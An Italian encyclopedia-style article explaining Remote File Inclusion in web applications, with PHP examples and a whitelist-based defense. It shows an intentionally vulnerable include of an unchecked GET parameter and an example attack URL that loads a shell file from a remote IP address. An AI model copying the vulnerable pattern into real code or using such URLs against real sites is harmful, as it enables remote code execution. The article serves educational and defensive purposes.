Remote File Inclusion, o RFI, nell'ambito della sicurezza informatica indica una vulnerabilità di esecuzione di script arbitrari che affligge i servizi web che soffrono di uno scarso controllo delle variabili inviate da un utente.

Descrizione Quando un'applicazione permette ad un utente di inserire il nome di un file da eseguire senza effettuare controlli sufficienti, il percorso può venire manipolato in modo da diventare un URI che indica un file remoto, che verrà quindi eseguito sul server.

Questo attacco si distingue dalle più generiche directory traversal nelle quali si ottiene l'accesso non autorizzato ad almeno parte dei presenti sul server web, dato che nella remote file inclusion viene aggiunta una fonte di codice eseguito sulla macchina, portando quindi ad una arbitrary code execution. Un attaccante potrebbe poi sfruttare l'accesso per creare una shell sul server, in modo da ottenere una via d'accesso persistente.

Linguaggi di programmazione e RFI Di solito le vulnerabilità di file inclusion vengono trovate in programmi con un'inclusione di file dinamica, come PHP (anche a causa di alcune scelte riguardo ai valori di default dei file di configurazione) e JavaScript, che sono linguaggi interpretati. Nonostante linguaggi come C e C++ usino l'inclusione di file per gestire le librerie non soffrono dello stesso problema, essendo esse gestite da un preprocessore, quindi l'inclusione di librerie non è parametrizzabile, manipolabile dall'utente. Questo non li rende però immuni da path traversal a causa ad esempio dell'utilizzo improprio di fopen().

Esempio di codice vulnerabile

Questo è un semplice esempio di sito vulnerabile:

server.php:<?php ... if (isset($_GET['lingua'])) { include($_GET['lingua'] . '.php'); } ... ?>

<form method="get"> <select name="lingua"> <option value="inglese">inglese</option> <option value="italiano">italiano</option> ... </select> <input type="submit"> </form>

Andando sulla pagina e scegliendo la lingua italiana, si avrebbe un URL di questo tipo: http://sito.it/server.php?lingua=italiano modificando la variabile lingua a piacere si avrà invece: http://sito.it/server.php?lingua=http://151.27.56.172/shell.txt in questo caso la variabile lingua assume il valore http://151.27.56.172/shell.txt immesso e nella pagina viene incluso il file shell.txt presente sulla macchina raggiungibile all'indirizzo IP inserito.

Come difendersi Quando in una applicazione web non è possibile né rimuovere la possibilità di includere file, né non permettere all'utente di scegliere in modo diretto il file da includere, una soluzione è quella di fare in modo che il server espliciti quali sono le pagine che è possibile includere in un ragionamento simile a quello delle whitelist, indicizzarle, e permettere all'utente di scegliere di inserire un'opzione (spesso un indice) che identifica univocamente quel file. Se il valore inserito dall'utente non corrisponde ad uno degli identificatori messi a disposizione, l'input deve venire scartato. http://miosito.it/index.php?pagina=1 poi all'interno della pagina si effettua un controllo sull'input dell'utente, per verificare che corrisponda ad un'opzione valida. Esempio:

<?php $pag = $_GET['pagina']; if ($pag == 1)include ('http://miositoesterno.it/miapagina1.php'); elseif ($pag == 2)include ('http://miositoesterno.it/miapagina2.php'); else echo 'Indice pagina non valido'; ?>

Note Categoria:Sicurezza informatica

Voci correlate

Open Worldwide Application Security Project Sicurezza e vulnerabilità delle reti